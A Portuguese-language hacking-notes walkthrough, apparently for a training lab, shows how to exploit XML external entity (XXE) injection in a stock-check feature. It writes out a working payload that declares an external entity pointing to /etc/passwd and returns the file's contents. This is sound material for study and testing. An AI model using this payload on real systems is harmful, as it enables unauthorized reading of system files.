> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xxe/xxe-file-read-via-external-entities.md).

# Leitura de Arquivo XXE via Entidades Externas

### Explorando XXE usando entidades externas para recuperar arquivos

Explore uma vulnerabilidade XXE declarando uma entidade externa para recuperar o conteúdo de um arquivo (aqui `/etc/passwd`) do **Consultar estoque** recurso que analisa XML e retorna valores inesperados.

<figure><img src="/files/1275970d496d608bcfc5d41b0afa8cdd7aafaa37" alt=""><figcaption></figcaption></figure>

O recurso envia XML assim:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
  2
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/ff1f4d64b96e8e951eb90ff121c511f454f71ff2" alt=""><figcaption></figcaption></figure>

Se o valor numérico de `<productId>` for substituído por uma string, esse valor é refletido na resposta (útil para a operação):

```xml
<productId>
teste
</productId>
```

<figure><img src="/files/853abaf82aa90d765de72db9888ed256e809dc2b" alt=""><figcaption></figcaption></figure>

1. Declare uma entidade externa em uma declaração DOCTYPE que aponte para o arquivo do sistema.

```xml
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
```

2. Chame essa entidade no `<productId>` campo retornado pela aplicação.

```
&myFile;
```

3. A resposta deve então conter o conteúdo do arquivo de destino (`/etc/passwd`).

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="/files/1e95713edcaaad85f054458f7bb796ddf299bc7c" alt=""><figcaption></figcaption></figure>


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